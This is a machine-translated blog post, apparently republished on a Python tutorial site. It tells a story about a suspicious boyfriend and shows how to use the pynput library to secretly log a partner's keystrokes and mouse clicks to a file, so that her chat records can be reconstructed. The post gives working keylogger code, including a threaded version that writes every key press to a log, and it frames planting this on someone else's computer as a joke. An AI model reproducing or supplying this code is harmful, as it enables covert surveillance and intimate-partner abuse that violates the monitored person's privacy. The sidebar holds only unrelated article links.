current position:Home>Get your girlfriend's chat records with Python and solve the paranoia with one move
Get your girlfriend's chat records with Python and solve the paranoia with one move
2022-01-30 02:46:44 【Yunyun yyds】
Little knowledge , Great challenge ! This article is participating in “ A programmer must have a little knowledge ” Creative activities .
Just the other day , My brother who slept in the upper bunk in College , Discuss in the brotherhood group , say : He found his girlfriend sitting in front of the computer after work these days , Not for work . And as soon as he gets closer, he will immediately exit the page , So he always doubted , Ask us about the single dogs in the group . Then the following dialogue appears .
A friend : You ask directly . B friend : After your girlfriend slept , Secretly take the computer to check . C friend : Let's not hang from a tree , If something goes wrong, get out early . D friend : I think A No way , It's easy to scare the snake by asking directly , But he's so obvious in front of you , You can talk to him , Is there something wrong with your relationship . F friend : well , I'm not far away from you ? Send your girlfriend to your house , Help you get a chat record , Isn't that perfect ?
1. Use pynput library
pynput Can monitor our keyboard and mouse . At present, there are many libraries with such functions , such as pygame Wait for the game library , But when we only need to monitor the keyboard and mouse , They seem too bulky .
2. Monitor the keyboard
A background process is resident on his computer to monitor keyboard input and record it , The code can be like this :
from pynput import keyboard
def on_press(key):
print(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
Copy code
Console printing :
3. Monitor the mouse
from pynput import mouse
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
print('left was pressed!')
elif button == mouse.Button.right:
print('right was pressed!')
return False
else:
print('mid was pressed!')
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
Copy code
Console printing :
You'll find that , Each print was printed twice , This is because pressing and lifting will trigger mouse events .
4. Monitor and log to log file
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
# Define log files
logger.add('demo.log')
def on_press(key):
logger.debug(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
# Definition f1 For threads 1
def f1():
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug('left was pressed!')
elif button == mouse.Button.right:
logger.debug('right was pressed!')
return False
else:
logger.debug('mid was pressed!')
# Definition f2 For threads 2
def f2():
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == '__main__':
# Start two threads to monitor the keyboard and mouse respectively
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()
Copy code
Check the log content :
In this way, all keyboard operations have been recorded , Through a simple analysis of the log file NLTK
language processing , You can restore your chat records . This record will not be shown to you , Belong to privacy , But I can tell you the result , Um. , In fact, his girlfriend is very good , Look, my brother in the upper bunk works late every time , I'm a little out of shape , But good face , So secretly buy him tonic online , Want to make up for him ~ Laugh to death
Your third company ( give the thumbs-up , Collection , Comment on ) It's the driving force I continue to output , thank .① Interesting source code and learning experience ,② Tool installation package ,③ Professional answers ,④ Learning materials sharing
copyright notice
author[Yunyun yyds],Please bring the original link to reprint, thank you.
https://en.pythonmana.com/2022/01/202201300246432416.html
The sidebar is recommended
- Getting started with Python - object oriented - special methods
- Using linear systems in python with scipy.linalg
- Fast power modulus Python implementation of large numbers
- Python architects recommend the book "Python programmer's Guide" which must be read by self-study Python architects. You are welcome to take it away
- Decoding the verification code of Taobao slider with Python + selenium, the road of information security
- Python game development, pyGame module, python implementation of skiing games
- Python collects and monitors system data -- psutil
- Python + selenium automated test: page object mode
- You can easily get started with Excel. Python data analysis package pandas (IV): any grouping score bar
- Python ThreadPoolExecutor restrictions_ work_ Queue size
guess what you like
-
Python generates and deploys verification codes with one click (Django)
-
[Python kaggle] pandas basic exercises in machine learning series (6)
-
Using linear systems in python with scipy.linalg
-
Using Python to realize national second-hand housing data capture + map display
-
How to make Python run faster? Six tips!
-
Python chat room (Tkinter writing interface, streaming, socket to realize private chat, group chat, check chat records, Mysql to store data)
-
This pandas exercise must be successfully won
-
[algorithm learning] sword finger offer 64 Find 1 + 2 +... + n (Java / C / C + + / Python / go / trust)
-
Understand Python's built-in function and add a print function yourself
-
Python implements JS encryption algorithm in thousands of music websites
Random recommended
- leetcode 35. Search Insert Position(python)
- [introduction to Python visualization]: 12 small examples of complete data visualization, taking you to play with visualization ~
- Learning this Python library can reduce at least 100 lines of code
- leetcode 67. Add Binary(python)
- Regular re parameter replacement of Python 3 interface automation test framework
- V. pandas based on Python
- Only 15 lines of code is needed for face detection! (using Python and openCV)
- [Python crawler Sao operation] you can crawl Sirius cinema movies without paying
- leetcode 69. Sqrt(x)(python)
- Teach you to read the source code of Cpython (I)
- Snowball learning started in the fourth quarter of Python. One needs three meals. I have a new understanding of Python functional programming, process-oriented, object-oriented and functional
- leetcode 88. Merge Sorted Array(python)
- Don't you know more about a python library before the end of 2021?
- Python crawler web page parsing artifact XPath quick start teaching!!!
- Use Python and OpenCV to watermark the image
- String and related methods of Python data type introduction
- Heapq module of Python module
- Introduction to beautiful soup of Python crawler weapon, detailed explanation, actual combat summary!!!
- Event loop of Python collaboration series
- Django docking pin login system
- [recalling the 1970s] using Python to repair the wonderful memories of parents' generation, black-and-white photos become color photos
- You used to know Python advanced
- Pyinstaller package Python project
- 2021 IEEE programming language rankings: Python tops the list!
- Implementation of Python automatic test control
- Python advanced: [Baidu translation reverse] graphic and video teaching!!!
- Do you know the fuzzy semantics in Python syntax?
- [Python from introduction to mastery] (XXVII) learn more about pilot!
- Playing excel office automation with Python
- Some applications of heapq module of Python module
- Python and go languages are so popular, which is more suitable for you?
- Python practical skills task segmentation
- Python simulated Login, numpy module, python simulated epidemic spread
- Python opencv contour discovery function based on image edge extraction
- Application of Hoff circle detection in Python opencv
- Python reptile test ox knife (I)
- Day 1: learn the Django framework of Python development
- django -- minio_ S3 file storage service
- [algorithm learning] 02.03 Delete intermediate nodes (Java / C / C + + / Python / go)
- Learning in Python + opencv -- extracting corners